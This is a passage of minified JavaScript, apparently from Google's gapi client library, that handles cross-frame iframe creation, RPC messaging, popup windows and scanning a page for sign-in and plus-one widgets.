"0";l.padding="0";l.background="transparent";l.borderStyle="none";l.cssFloat="none";l.styleFloat="none";l.lineHeight="normal";l.fontSize="1px";l.verticalAlign="baseline";e=e.style;e.display="inline-block";d=d.style;d.position="static";d.left="0";d.top="0";d.visibility="visible";f&&(e.width=d.width=f+"px");h&&(e.height=d.height=h+"px");c.verticalAlign&&(e.verticalAlign=c.verticalAlign);k&&gp(k,3)}(k=b?b.title:null)&&a.Ha().setAttribute("title",k);(b=b?b.ariaLabel:null)&&a.Ha().setAttribute("aria-label", b)};_.lp=function(a){var b=a.$a();b&&b.removeChild(a.Ha())};_.mp=function(a){a.where=_.ip(a);var b=a.messageHandlers=a.messageHandlers||{},c=function(a){_.kp(this,a)};b._ready=c;b._renderstart=c;var d=a.onClose;a.onClose=function(a){d&&d.call(this,a);_.lp(this)};a.onCreate=function(a){a=a.Ha();a.style.cssText=_.jp(a)}}; var Yj=_.Xj=_.Xj||{};window.___jsl=window.___jsl||{};Yj.Mx={E8:function(){return window.___jsl.bsh},iH:function(){return window.___jsl.h},KC:function(a){window.___jsl.bsh=a},qZ:function(a){window.___jsl.h=a}}; _.I=_.I||{};_.I.Yu=function(a,b,c){for(var d=[],e=2,f=arguments.length;e<f;++e)d.push(arguments[e]);return function(){for(var c=d.slice(),e=0,f=arguments.length;e<f;++e)c.push(arguments[e]);return b.apply(a,c)}};_.I.Rq=function(a){var b,c,d={};for(b=0;c=a[b];++b)d[c]=c;return d}; _.I=_.I||{}; (function(){function a(a,b){return String.fromCharCode(b)}var b={0:!1,10:!0,13:!0,34:!0,39:!0,60:!0,62:!0,92:!0,8232:!0,8233:!0,65282:!0,65287:!0,65308:!0,65310:!0,65340:!0};_.I.escape=function(a,b){if(a){if("string"===typeof a)return _.I.Ft(a);if("Array"===typeof a){var c=0;for(b=a.length;c<b;++c)a[c]=_.I.escape(a[c])}else if("object"===typeof a&&b){b={};for(c in a)a.hasOwnProperty(c)&&(b[_.I.Ft(c)]=_.I.escape(a[c],!0));return b}}return a};_.I.Ft=function(a){if(!a)return a;for(var c=[],e,f,h=0,k= a.length;h<k;++h)e=a.charCodeAt(h),f=b[e],!0===f?c.push("&#",e,";"):!1!==f&&c.push(a.charAt(h));return c.join("")};_.I.x$=function(b){return b?b.replace(/&#([0-9]+);/g,a):b}})(); _.O={};_.op={};window.iframer=_.op; _.O.Ia=_.O.Ia||{};_.O.Ia.fQ=function(a){try{return!!a.document}catch(b){}return!1};_.O.Ia.DH=function(a){var b=a.parent;return a!=b&&_.O.Ia.fQ(b)?_.O.Ia.DH(b):a};_.O.Ia.Z8=function(a){var b=a.userAgent||"";a=a.product||"";return 0!=b.indexOf("Opera")&&-1==b.indexOf("WebKit")&&"Gecko"==a&&0<b.indexOf("rv:1.")}; var Mr,Nr,Or,Qr,Rr,Sr,Xr,Yr,Zr,$r,bs,cs,ds,fs,gs,is;Mr=function(){_.O.tI++;return["I",_.O.tI,"_",(new Date).getTime()].join("")};Nr=function(a){return a instanceof Array?a.join(","):a instanceof Object?_.df(a):a};Or=function(){};Qr=function(a){a&&a.match(Pr)&&_.le("googleapis.config/gcv",a)};Rr=function(a){_.Xj.Mx.qZ(a)};Sr=function(a){_.Xj.Mx.KC(a)};_.Tr=function(a,b){b=b||{};for(var c in a)a.hasOwnProperty(c)&&(b[c]=a[c]);return b}; _.Vr=function(a,b,c,d,e){var f=[],h;for(h in a)if(a.hasOwnProperty(h)){var k=b,l=c,n=a[h],p=d,q=Ur(h);q[k]=q[k]||{};p=_.I.Yu(p,n);n._iframe_wrapped_rpc_&&(p._iframe_wrapped_rpc_=!0);q[k][l]=p;f.push(h)}if(e)for(h in _.O.tn)_.O.tn.hasOwnProperty(h)&&f.push(h);return f.join(",")};Xr=function(a,b,c){var d={};if(a&&a._methods){a=a._methods.split(",");for(var e=0;e<a.length;e++){var f=a[e];d[f]=Wr(f,b,c)}}return d}; Yr=function(a){if(a&&a.disableMultiLevelParentRelay)a=!1;else{var b;if(b=_.op&&_.op._open&&"inline"!=a.style&&!0!==a.inline)a=a.container,b=!(a&&("string"==typeof a&&window.document.getElementById(a)||window.document==(a.ownerDocument||a.document)));a=b}return a};Zr=function(a,b){var c={};b=b.params||{};for(var d in a)"#"==d.charAt(0)&&(c[d.substring(1)]=a[d]),0==d.indexOf("fr-")&&(c[d.substring(3)]=a[d]),"#"==b[d]&&(c[d]=a[d]);for(var e in c)delete a["fr-"+e],delete a["#"+e],delete a[e];return c}; $r=function(a){if(":"==a.charAt(0)){var b=_.H("iframes/"+a.substring(1));a={};_.Vd(b,a);(b=a.url)&&(a.url=_.In(b));a.params||(a.params={});return a}return{url:_.In(a)}};bs=function(a){function b(){}b.prototype=as.prototype;a.prototype=new b};cs=function(a){return _.O.Rr[a]};ds=function(a,b){_.O.Rr[a]=b};fs=function(a){a=a||{};"auto"===a.height&&(a.height=_.Jm.Xc());var b=window&&es&&es.Na();b?b.DK(a.width||0,a.height||0):_.op&&_.op._resizeMe&&_.op._resizeMe(a)};gs=function(a){Qr(a)}; _.hs=function(){return _.Nd.location.origin||_.Nd.location.protocol+"//"+_.Nd.location.host};is=function(a){var b=_.Xd(a.location.href,"urlindex");if(b=_.Td(_.ce,"fUrl",[])[b]){var c=a.location.hash;b+=/#/.test(b)?c.replace(/^#/,"&"):c;a.location.replace(b)}}; if(window.ToolbarApi)es=window.ToolbarApi,es.Na=window.ToolbarApi.getInstance,es.prototype=window.ToolbarApi.prototype,_.g=es.prototype,_.g.openWindow=es.prototype.openWindow,_.g.XF=es.prototype.closeWindow,_.g.nL=es.prototype.setOnCloseHandler,_.g.KF=es.prototype.canClosePopup,_.g.DK=es.prototype.resizeWindow;else{var es=function(){},js=null;es.Na=function(){!js&&window.external&&window.external.GTB_IsToolbar&&(js=new es);return js};_.g=es.prototype;_.g.openWindow=function(a){return window.external.GTB_OpenPopup&& window.external.GTB_OpenPopup(a)};_.g.XF=function(a){window.external.GTB_ClosePopupWindow&&window.external.GTB_ClosePopupWindow(a)};_.g.nL=function(a,b){window.external.GTB_SetOnCloseHandler&&window.external.GTB_SetOnCloseHandler(a,b)};_.g.KF=function(a){return window.external.GTB_CanClosePopup&&window.external.GTB_CanClosePopup(a)};_.g.DK=function(a,b){return window.external.GTB_ResizeWindow&&window.external.GTB_ResizeWindow(a,b)};window.ToolbarApi=es;window.ToolbarApi.getInstance=es.Na}; var ks=function(){_.K.register("_noop_echo",function(){this.callback(_.O.RS(_.O.Tj[this.f]))})},ls=function(){window.setTimeout(function(){_.K.call("..","_noop_echo",_.O.pX)},0)},Wr=function(a,b,c){var d=function(d){var e=Array.prototype.slice.call(arguments,0),h=e[e.length-1];if("function"===typeof h){var k=h;e.pop()}e.unshift(b,a,k,c);_.K.call.apply(_.K,e)};d._iframe_wrapped_rpc_=!0;return d},Ur=function(a){_.O.Lv[a]||(_.O.Lv[a]={},_.K.register(a,function(b,c){var d=this.f;if(!("string"!=typeof b|| b in{}||d in{})){var e=this.callback,f=_.O.Lv[a][d],h;f&&Object.hasOwnProperty.call(f,b)?h=f[b]:Object.hasOwnProperty.call(_.O.tn,a)&&(h=_.O.tn[a]);if(h)return d=Array.prototype.slice.call(arguments,1),h._iframe_wrapped_rpc_&&e&&d.push(e),h.apply({},d)}_.Sa(['Unregistered call in window "',window.name,'" for method "',a,'", via proxyId "',b,'" from frame "',d,'".'].join(""));return null}));return _.O.Lv[a]}; _.O.cQ=function(a,b,c){var d=Array.prototype.slice.call(arguments);_.O.qH(function(a){a.sameOrigin&&(d.unshift("/"+a.claimedOpenerId+"|"+window.location.protocol+"//"+window.location.host),_.K.call.apply(_.K,d))})};_.O.RX=function(a,b){_.K.register(a,b)}; var Pr=/^[-_.0-9A-Za-z]+$/,ms={open:"open",onready:"ready",close:"close",onresize:"resize",onOpen:"open",onReady:"ready",onClose:"close",onResize:"resize",onRenderStart:"renderstart"},ns={onBeforeParentOpen:"beforeparentopen"},os={onOpen:function(a){var b=a.Ob();a.Bf(b.container||b.element);return a},onClose:function(a){a.remove()}};_.O.hn=function(a){var b=_.D();_.Vd(_.wn,b);_.Vd(a,b);return b}; var as=function(a,b,c,d,e,f,h,k){this.config=$r(a);this.openParams=this.fr=b||{};this.params=c||{};this.methods=d;this.ww=!1;ps(this,b.style);this.jp={};qs(this,function(){var a;(a=this.fr.style)&&_.O.Rr[a]?a=_.O.Rr[a]:a?(_.Ra(['Missing handler for style "',a,'". Continuing with default handler.'].join("")),a=null):a=os;if(a){if("function"===typeof a)var b=a(this);else{var c={};for(b in a){var d=a[b];c[b]="function"===typeof d?_.I.Yu(a,d,this):d}b=c}for(var h in e)a=b[h],"function"===typeof a&&rs(this, e[h],_.I.Yu(b,a))}f&&rs(this,"close",f)});this.Ki=this.ac=h;this.HB=(k||[]).slice();h&&this.HB.unshift(h.ka())};as.prototype.Ob=function(){return this.fr};as.prototype.Nj=function(){return this.params};as.prototype.Xt=function(){return this.methods};as.prototype.Qc=function(){return this.Ki};var ps=function(a,b){a.ww||((b=b&&!_.O.Rr[b]&&_.O.wy[b])?(a.vy=[],b(function(){a.ww=!0;for(var b=0,d=a.vy.length;b<d;++b)a.vy[b].call(a)})):a.ww=!0)},qs=function(a,b){a.ww?b.call(a):a.vy.push(b)}; as.prototype.Uc=function(a,b){qs(this,function(){rs(this,a,b)})};var rs=function(a,b,c){a.jp[b]=a.jp[b]||[];a.jp[b].push(c)};as.prototype.cm=function(a,b){qs(this,function(){var c=this.jp[a];if(c)for(var d=0,e=c.length;d<e;++d)if(c[d]===b){c.splice(d,1);break}})}; as.prototype.Og=function(a,b){var c=this.jp[a];if(c)for(var d=Array.prototype.slice.call(arguments,1),e=0,f=c.length;e<f;++e)try{var h=c[e].apply({},d)}catch(k){_.Sa(['Exception when calling callback "',a,'" with exception "',k.name,": ",k.message,'".'].join(""))}return h}; var ss=function(a){return"number"==typeof a?{value:a,oz:a+"px"}:"100%"==a?{value:100,oz:"100%",QI:!0}:null},ts=function(a,b,c,d,e,f,h){as.call(this,a,b,c,d,ms,e,f,h);this.id=b.id||Mr();this.wr=b.rpctoken&&String(b.rpctoken)||Math.round(1E9*(0,_.ck)());this.WU=Zr(this.params,this.config);this.ez={};qs(this,function(){this.Og("open");_.Tr(this.ez,this)})};bs(ts);_.g=ts.prototype; _.g.Bf=function(a,b){if(!this.config.url)return _.Sa("Cannot open iframe, empty URL."),this;var c=this.id;_.O.Tj[c]=this;var d=_.Tr(this.methods);d._ready=this.uv;d._close=this.close;d._open=this.vv;d._resizeMe=this.Yn;d._renderstart=this.PJ;var e=this.WU;this.wr&&(e.rpctoken=this.wr);e._methods=_.Vr(d,c,"",this,!0);this.el=a="string"===typeof a?window.document.getElementById(a):a;d={};d.id=c;if(b){d.attributes=b;var f=b.style;if("string"===typeof f){if(f){var h=[];f=f.split(";");for(var k=0,l=f.length;k< l;++k){var n=f[k];if(0!=n.length||k+1!=l)n=n.split(":"),2==n.length&&n[0].match(/^[ a-zA-Z_-]+$/)&&n[1].match(/^[ +.%0-9a-zA-Z_-]+$/)?h.push(n.join(":")):_.Sa(['Iframe style "',f[k],'" not allowed.'].join(""))}h=h.join(";")}else h="";b.style=h}}this.Ob().allowPost&&(d.allowPost=!0);this.Ob().forcePost&&(d.forcePost=!0);d.queryParams=this.params;d.fragmentParams=e;d.paramsSerializer=Nr;this.Qg=_.Kn(this.config.url,a,d);a=this.Qg.getAttribute("data-postorigin")||this.Qg.src;_.O.Tj[c]=this;_.K.ew(this.id, this.wr);_.K.Ph(this.id,a);return this};_.g.le=function(a,b){this.ez[a]=b};_.g.ka=function(){return this.id};_.g.Ha=function(){return this.Qg};_.g.$a=function(){return this.el};_.g.Ze=function(a){this.el=a};_.g.uv=function(a){var b=Xr(a,this.id,"");this.Ki&&"function"==typeof this.methods._ready&&(a._methods=_.Vr(b,this.Ki.ka(),this.id,this,!1),this.methods._ready(a));_.Tr(a,this);_.Tr(b,this);this.Og("ready",a)};_.g.PJ=function(a){this.Og("renderstart",a)}; _.g.close=function(a){a=this.Og("close",a);delete _.O.Tj[this.id];return a};_.g.remove=function(){var a=window.document.getElementById(this.id);a&&a.parentNode&&a.parentNode.removeChild(a)}; _.g.vv=function(a){var b=Xr(a.params,this.id,a.proxyId);delete a.params._methods;"_parent"==a.openParams.anchor&&(a.openParams.anchor=this.el);if(Yr(a.openParams))new us(a.url,a.openParams,a.params,b,b._onclose,this,a.openedByProxyChain);else{var c=new ts(a.url,a.openParams,a.params,b,b._onclose,this,a.openedByProxyChain),d=this;qs(c,function(){var a={childId:c.ka()},f=c.ez;f._toclose=c.close;a._methods=_.Vr(f,d.id,c.id,c,!1);b._onopen(a)})}}; _.g.Yn=function(a){if(void 0===this.Og("resize",a)&&this.Qg){var b=ss(a.width);null!=b&&(this.Qg.style.width=b.oz);a=ss(a.height);null!=a&&(this.Qg.style.height=a.oz);this.Qg.parentElement&&(null!=b&&b.QI||null!=a&&a.QI)&&(this.Qg.parentElement.style.display="block")}}; var us=function(a,b,c,d,e,f,h){as.call(this,a,b,c,d,ns,e,f,h);this.url=a;this.xm=null;this.cC=Mr();qs(this,function(){this.Og("beforeparentopen");var a=_.Tr(this.methods);a._onopen=this.fX;a._ready=this.uv;a._onclose=this.dX;this.params._methods=_.Vr(a,"..",this.cC,this,!0);a={};for(c in this.params)a[c]=Nr(this.params[c]);var b=this.config.url;if(this.fr.hideUrlFromParent){var c=window.name;var d=b;b=_.ln(this.config.url,this.params,{},Nr);var e=a;a={};a._methods=e._methods;a["#opener"]=e["#opener"]; a["#urlindex"]=e["#urlindex"];a["#opener"]&&void 0!=e["#urlindex"]?(a["#opener"]=c+","+a["#opener"],c=d):(d=_.Td(_.ce,"fUrl",[]),e=d.length,d[e]=b,_.ce.rUrl=is,a["#opener"]=c,a["#urlindex"]=e,c=_.Xj.Qa(_.Nd.location.href),b=_.H("iframes/relay_url_"+(0,window.encodeURIComponent)(c))||"/_/gapi/sibling/1/frame.html",c+=b);b=c}_.op._open({url:b,openParams:this.fr,params:a,proxyId:this.cC,openedByProxyChain:this.HB})})};bs(us);us.prototype.iT=function(){return this.xm}; us.prototype.fX=function(a){this.xm=a.childId;var b=Xr(a,"..",this.xm);_.Tr(b,this);this.close=b._toclose;_.O.Tj[this.xm]=this;this.Ki&&this.methods._onopen&&(a._methods=_.Vr(b,this.Ki.ka(),this.xm,this,!1),this.methods._onopen(a))};us.prototype.uv=function(a){var b=String(this.xm),c=Xr(a,"..",b);_.Tr(a,this);_.Tr(c,this);this.Og("ready",a);this.Ki&&this.methods._ready&&(a._methods=_.Vr(c,this.Ki.ka(),b,this,!1),this.methods._ready(a))}; us.prototype.dX=function(a){if(this.Ki&&this.methods._onclose)this.methods._onclose(a);else return a=this.Og("close",a),delete _.O.Tj[this.xm],a}; var vs=function(a,b,c,d,e,f,h){as.call(this,a,b,c,d,ns,f,h);this.id=b.id||Mr();this.v_=e;d._close=this.close;this.onClosed=this.JJ;this.HM=0;qs(this,function(){this.Og("beforeparentopen");var b=_.Tr(this.methods);this.params._methods=_.Vr(b,"..",this.cC,this,!0);b={};b.queryParams=this.params;a=_.Bn(_.Qd,this.config.url,this.id,b);var c=e.openWindow(a);this.canAutoClose=function(a){a(e.KF(c))};e.nL(c,this);this.HM=c})};bs(vs); vs.prototype.close=function(a){a=this.Og("close",a);this.v_.XF(this.HM);return a};vs.prototype.JJ=function(){this.Og("close")}; (function(){_.O.Tj={};_.O.Rr={};_.O.wy={};_.O.tI=0;_.O.Lv={};_.O.tn={};_.O.Bv=null;_.O.Av=[];_.O.pX=function(a){var b=!1;try{if(null!=a){var c=window.parent.frames[a.id];b=c.iframer.id==a.id&&c.iframes.openedId_(_.op.id)}}catch(f){}try{_.O.Bv={origin:this.origin,referer:this.referer,claimedOpenerId:a&&a.id,claimedOpenerProxyChain:a&&a.proxyChain||[],sameOrigin:b};for(a=0;a<_.O.Av.length;++a)_.O.Av[a](_.O.Bv);_.O.Av=[]}catch(f){}};_.O.RS=function(a){var b=a&&a.Ki,c=null;b&&(c={},c.id=b.ka(),c.proxyChain= a.HB);return c};ks();if(window.parent!=window){var a=_.I.xc();a.gcv&&Qr(a.gcv);var b=a.jsh;b&&Rr(b);_.Tr(Xr(a,"..",""),_.op);_.Tr(a,_.op);ls()}_.O.Bb=cs;_.O.Xb=ds;_.O.pZ=gs;_.O.resize=fs;_.O.ZR=function(a){return _.O.wy[a]};_.O.NC=function(a,b){_.O.wy[a]=b};_.O.CK=fs;_.O.PZ=gs;_.O.ou={};_.O.ou.get=cs;_.O.ou.set=ds;_.O.EP=function(a,b){Ur(a);_.O.tn[a]=b||window[a]};_.O.s8=function(a){delete _.O.tn[a]};_.O.open=function(a,b,e,f,h,k){3==arguments.length?f={}:4==arguments.length&&"function"===typeof f&& (h=f,f={});var c="bubble"===b.style&&es?es.Na():null;return c?new vs(a,b,e,f,c,h,k):Yr(b)?new us(a,b,e,f,h,k):new ts(a,b,e,f,h,k)};_.O.close=function(a,b){_.op&&_.op._close&&_.op._close(a,b)};_.O.ready=function(a,b,e){2==arguments.length&&"function"===typeof b&&(e=b,b={});var c=a||{};"height"in c||(c.height=_.Jm.Xc());c._methods=_.Vr(b||{},"..","",_.op,!0);_.op&&_.op._ready&&_.op._ready(c,e)};_.O.qH=function(a){_.O.Bv?a(_.O.Bv):_.O.Av.push(a)};_.O.jX=function(a){return!!_.O.Tj[a]};_.O.kS=function(){return["https://ssl.gstatic.com/gb/js/", _.H("googleapis.config/gcv")].join("")};_.O.jK=function(a){var b={mouseover:1,mouseout:1};if(_.op._event)for(var c=0;c<a.length;c++){var f=a[c];f in b&&_.I.Hs(window.document,f,function(a){_.op._event({event:a.type,timestamp:(new Date).getTime()})},!0)}};_.O.zZ=Rr;_.O.KC=Sr;_.O.gJ=Or;_.O.vI=_.op})(); _.w("iframes.allow",_.O.EP);_.w("iframes.callSiblingOpener",_.O.cQ);_.w("iframes.registerForOpenedSibling",_.O.RX);_.w("iframes.close",_.O.close);_.w("iframes.getGoogleConnectJsUri",_.O.kS);_.w("iframes.getHandler",_.O.Bb);_.w("iframes.getDeferredHandler",_.O.ZR);_.w("iframes.getParentInfo",_.O.qH);_.w("iframes.iframer",_.O.vI);_.w("iframes.open",_.O.open);_.w("iframes.openedId_",_.O.jX);_.w("iframes.propagate",_.O.jK);_.w("iframes.ready",_.O.ready);_.w("iframes.resize",_.O.resize); _.w("iframes.setGoogleConnectJsVersion",_.O.pZ);_.w("iframes.setBootstrapHint",_.O.KC);_.w("iframes.setJsHint",_.O.zZ);_.w("iframes.setHandler",_.O.Xb);_.w("iframes.setDeferredHandler",_.O.NC);_.w("IframeBase",as);_.w("IframeBase.prototype.addCallback",as.prototype.Uc);_.w("IframeBase.prototype.getMethods",as.prototype.Xt);_.w("IframeBase.prototype.getOpenerIframe",as.prototype.Qc);_.w("IframeBase.prototype.getOpenParams",as.prototype.Ob);_.w("IframeBase.prototype.getParams",as.prototype.Nj); _.w("IframeBase.prototype.removeCallback",as.prototype.cm);_.w("Iframe",ts);_.w("Iframe.prototype.close",ts.prototype.close);_.w("Iframe.prototype.exposeMethod",ts.prototype.le);_.w("Iframe.prototype.getId",ts.prototype.ka);_.w("Iframe.prototype.getIframeEl",ts.prototype.Ha);_.w("Iframe.prototype.getSiteEl",ts.prototype.$a);_.w("Iframe.prototype.openInto",ts.prototype.Bf);_.w("Iframe.prototype.remove",ts.prototype.remove);_.w("Iframe.prototype.setSiteEl",ts.prototype.Ze); _.w("Iframe.prototype.addCallback",ts.prototype.Uc);_.w("Iframe.prototype.getMethods",ts.prototype.Xt);_.w("Iframe.prototype.getOpenerIframe",ts.prototype.Qc);_.w("Iframe.prototype.getOpenParams",ts.prototype.Ob);_.w("Iframe.prototype.getParams",ts.prototype.Nj);_.w("Iframe.prototype.removeCallback",ts.prototype.cm);_.w("IframeProxy",us);_.w("IframeProxy.prototype.getTargetIframeId",us.prototype.iT);_.w("IframeProxy.prototype.addCallback",us.prototype.Uc);_.w("IframeProxy.prototype.getMethods",us.prototype.Xt); _.w("IframeProxy.prototype.getOpenerIframe",us.prototype.Qc);_.w("IframeProxy.prototype.getOpenParams",us.prototype.Ob);_.w("IframeProxy.prototype.getParams",us.prototype.Nj);_.w("IframeProxy.prototype.removeCallback",us.prototype.cm);_.w("IframeWindow",vs);_.w("IframeWindow.prototype.close",vs.prototype.close);_.w("IframeWindow.prototype.onClosed",vs.prototype.JJ);_.w("iframes.util.getTopMostAccessibleWindow",_.O.Ia.DH);_.w("iframes.handlers.get",_.O.ou.get);_.w("iframes.handlers.set",_.O.ou.set); _.w("iframes.resizeMe",_.O.CK);_.w("iframes.setVersionOverride",_.O.PZ); as.prototype.send=function(a,b,c){_.O.QK(this,a,b,c)};_.op.send=function(a,b,c){_.O.QK(_.op,a,b,c)};as.prototype.register=function(a,b){var c=this;c.Uc(a,function(a){b.call(c,a)})};_.O.QK=function(a,b,c,d){var e=[];void 0!==c&&e.push(c);d&&e.push(function(a){d.call(this,[a])});a[b]&&a[b].apply(a,e)};_.O.Ho=function(){return!0};_.w("iframes.CROSS_ORIGIN_IFRAMES_FILTER",_.O.Ho);_.w("IframeBase.prototype.send",as.prototype.send);_.w("IframeBase.prototype.register",as.prototype.register); _.w("Iframe.prototype.send",ts.prototype.send);_.w("Iframe.prototype.register",ts.prototype.register);_.w("IframeProxy.prototype.send",us.prototype.send);_.w("IframeProxy.prototype.register",us.prototype.register);_.w("IframeWindow.prototype.send",vs.prototype.send);_.w("IframeWindow.prototype.register",vs.prototype.register);_.w("iframes.iframer.send",_.O.vI.send); var Iu=_.O.Xb,Ju={open:function(a){var b=_.ip(a.Ob());return a.Bf(b,{style:_.jp(b)})},attach:function(a,b){var c=_.ip(a.Ob()),d=b.id,e=b.getAttribute("data-postorigin")||b.src,f=/#(?:.*&)?rpctoken=(\d+)/.exec(e);f=f&&f[1];a.id=d;a.wr=f;a.el=c;a.Qg=b;_.O.Tj[d]=a;b=_.Tr(a.methods);b._ready=a.uv;b._close=a.close;b._open=a.vv;b._resizeMe=a.Yn;b._renderstart=a.PJ;_.Vr(b,d,"",a,!0);_.K.ew(a.id,a.wr);_.K.Ph(a.id,e);c=_.O.hn({style:_.jp(c)});for(var h in c)Object.prototype.hasOwnProperty.call(c,h)&&("style"== h?a.Qg.style.cssText=c[h]:a.Qg.setAttribute(h,c[h]))}};Ju.onready=_.kp;Ju.onRenderStart=_.kp;Ju.close=_.lp;Iu("inline",Ju); _.Wj=(window.gapi||{}).load; _.np=_.D(); _.pp=function(a){var b=window;a=(a||b.location.href).match(/.*(\?|#|&)usegapi=([^&#]+)/)||[];return"1"===(0,window.decodeURIComponent)(a[a.length-1]||"")}; var qp,rp,sp,tp,up,vp,zp,Ap;qp=function(a){if(_.Sd.test(Object.keys))return Object.keys(a);var b=[],c;for(c in a)_.Ud(a,c)&&b.push(c);return b};rp=function(a,b){if(!_.gf())try{a()}catch(c){}_.hf(b)};sp={button:!0,div:!0,span:!0};tp=function(a){var b=_.Td(_.ce,"sws",[]);return 0<=_.Xm.call(b,a)};up=function(a){return _.Td(_.ce,"watt",_.D())[a]};vp=function(a){return function(b,c){return a?_.Gn()[c]||a[c]||"":_.Gn()[c]||""}}; _.wp={apppackagename:1,callback:1,clientid:1,cookiepolicy:1,openidrealm:-1,includegrantedscopes:-1,requestvisibleactions:1,scope:1};_.xp=!1; _.yp=function(){if(!_.xp){for(var a=window.document.getElementsByTagName("meta"),b=0;b<a.length;++b){var c=a[b].name.toLowerCase();if(_.vc(c,"google-signin-")){c=c.substring(14);var d=a[b].content;_.wp[c]&&d&&(_.np[c]=d)}}if(window.self!==window.top){a=window.document.location.toString();for(var e in _.wp)0<_.wp[e]&&(b=_.Xd(a,e,""))&&(_.np[e]=b)}_.xp=!0}e=_.D();_.Vd(_.np,e);return e}; zp=function(a){var b;a.match(/^https?%3A/i)&&(b=(0,window.decodeURIComponent)(a));return _.mn(window.document,b?b:a)};Ap=function(a){a=a||"canonical";for(var b=window.document.getElementsByTagName("link"),c=0,d=b.length;c<d;c++){var e=b[c],f=e.getAttribute("rel");if(f&&f.toLowerCase()==a&&(e=e.getAttribute("href"))&&(e=zp(e))&&null!=e.match(/^https?:\/\/[\w\-_\.]+/i))return e}return window.location.href};_.Bp=function(){return window.location.origin||window.location.protocol+"//"+window.location.host}; _.Cp=function(a,b,c,d){return(a="string"==typeof a?a:void 0)?zp(a):Ap(d)};_.Dp=function(a,b,c){null==a&&c&&(a=c.db,null==a&&(a=c.gwidget&&c.gwidget.db));return a||void 0};_.Ep=function(a,b,c){null==a&&c&&(a=c.ecp,null==a&&(a=c.gwidget&&c.gwidget.ecp));return a||void 0}; _.Fp=function(a,b,c){return _.Cp(a,b,c,b.action?void 0:"publisher")};var Gp,Hp,Ip,Jp,Kp,Lp,Np,Mp;Gp={se:"0"};Hp={post:!0};Ip={style:"position:absolute;top:-10000px;width:450px;margin:0px;border-style:none"};Jp="onPlusOne _ready _close _open _resizeMe _renderstart oncircled drefresh erefresh".split(" ");Kp=_.Td(_.ce,"WI",_.D());Lp=["style","data-gapiscan"]; Np=function(a){for(var b=_.D(),c=0!=a.nodeName.toLowerCase().indexOf("g:"),d=0,e=a.attributes.length;d<e;d++){var f=a.attributes[d],h=f.name,k=f.value;0<=_.Xm.call(Lp,h)||c&&0!=h.indexOf("data-")||"null"===k||"specified"in f&&!f.specified||(c&&(h=h.substr(5)),b[h.toLowerCase()]=k)}a=a.style;(c=Mp(a&&a.height))&&(b.height=String(c));(a=Mp(a&&a.width))&&(b.width=String(a));return b}; _.Pp=function(a,b,c,d,e,f){if(c.rd)var h=b;else h=window.document.createElement("div"),b.setAttribute("data-gapistub",!0),h.style.cssText="position:absolute;width:450px;left:-10000px;",b.parentNode.insertBefore(h,b);f.siteElement=h;h.id||(h.id=_.Op(a));b=_.D();b[">type"]=a;_.Vd(c,b);a=_.Kn(d,h,e);f.iframeNode=a;f.id=a.getAttribute("id")};_.Op=function(a){_.Td(Kp,a,0);return"___"+a+"_"+Kp[a]++};Mp=function(a){var b=void 0;"number"===typeof a?b=a:"string"===typeof a&&(b=(0,window.parseInt)(a,10));return b}; var Qp=function(){},Tp=function(a){var b=a.Wm,c=function(a){c.H.constructor.call(this,a);var b=this.mh.length;this.Hg=[];for(var d=0;d<b;++d)this.mh[d].p8||(this.Hg[d]=new this.mh[d](a))};_.z(c,b);for(var d=[];a;){if(b=a.Wm){b.mh&&_.pe(d,b.mh);var e=b.prototype,f;for(f in e)if(e.hasOwnProperty(f)&&_.Xa(e[f])&&e[f]!==b){var h=!!e[f].c8,k=Rp(f,e,d,h);(h=Sp(f,e,k,h))&&(c.prototype[f]=h)}}a=a.H&&a.H.constructor}c.prototype.mh=d;return c},Rp=function(a,b,c,d){for(var e=[],f=0;f<c.length&&(c[f].prototype[a]=== b[a]||(e.push(f),!d));++f);return e},Sp=function(a,b,c,d){return c.length?d?function(b){var d=this.Hg[c[0]];return d?d[a].apply(this.Hg[c[0]],arguments):this.mh[c[0]].prototype[a].apply(this,arguments)}:b[a].eQ?function(b){a:{var d=Array.prototype.slice.call(arguments,0);for(var e=0;e<c.length;++e){var k=this.Hg[c[e]];if(k=k?k[a].apply(k,d):this.mh[c[e]].prototype[a].apply(this,d)){d=k;break a}}d=!1}return d}:b[a].dQ?function(b){a:{var d=Array.prototype.slice.call(arguments,0);for(var e=0;e<c.length;++e){var k= this.Hg[c[e]];k=k?k[a].apply(k,d):this.mh[c[e]].prototype[a].apply(this,d);if(null!=k){d=k;break a}}d=void 0}return d}:b[a].AJ?function(b){for(var d=Array.prototype.slice.call(arguments,0),e=0;e<c.length;++e){var k=this.Hg[c[e]];k?k[a].apply(k,d):this.mh[c[e]].prototype[a].apply(this,d)}}:function(b){for(var d=Array.prototype.slice.call(arguments,0),e=[],k=0;k<c.length;++k){var l=this.Hg[c[k]];e.push(l?l[a].apply(l,d):this.mh[c[k]].prototype[a].apply(this,d))}return e}:d||b[a].eQ||b[a].dQ||b[a].AJ? null:Up},Up=function(){return[]};Qp.prototype.jz=function(a){if(this.Hg)for(var b=0;b<this.Hg.length;++b)if(this.Hg[b]instanceof a)return this.Hg[b];return null}; var Vp=function(a){return this.Ya.jz(a)};var Wp,Xp,Yp,Zp,$p=/(?:^|\s)g-((\S)*)(?:$|\s)/,aq={plusone:!0,autocomplete:!0,profile:!0,signin:!0,signin2:!0};Wp=_.Td(_.ce,"SW",_.D());Xp=_.Td(_.ce,"SA",_.D());Yp=_.Td(_.ce,"SM",_.D());Zp=_.Td(_.ce,"FW",[]); var eq=function(a,b){var c;bq.ps0=(new Date).getTime();cq("ps0");a=("string"===typeof a?window.document.getElementById(a):a)||_.Qd;var d=_.Qd.documentMode;if(a.querySelectorAll&&(!d||8<d)){d=b?[b]:qp(Wp).concat(qp(Xp)).concat(qp(Yp));for(var e=[],f=0;f<d.length;f++){var h=d[f];e.push(".g-"+h,"g\\:"+h)}d=a.querySelectorAll(e.join(","))}else d=a.getElementsByTagName("*");a=_.D();for(e=0;e<d.length;e++){f=d[e];var k=f;h=b;var l=k.nodeName.toLowerCase(),n=void 0;if(k.getAttribute("data-gapiscan"))h=null; else{var p=l.indexOf("g:");0==p?n=l.substr(2):(p=(p=String(k.className||k.getAttribute("class")))&&$p.exec(p))&&(n=p[1]);h=!n||!(Wp[n]||Xp[n]||Yp[n])||h&&n!==h?null:n}h&&(aq[h]||0==f.nodeName.toLowerCase().indexOf("g:")||0!=qp(Np(f)).length)&&(f.setAttribute("data-gapiscan",!0),_.Td(a,h,[]).push(f))}for(q in a)Zp.push(q);bq.ps1=(new Date).getTime();cq("ps1");if(b=Zp.join(":"))try{_.Wd.load(b,void 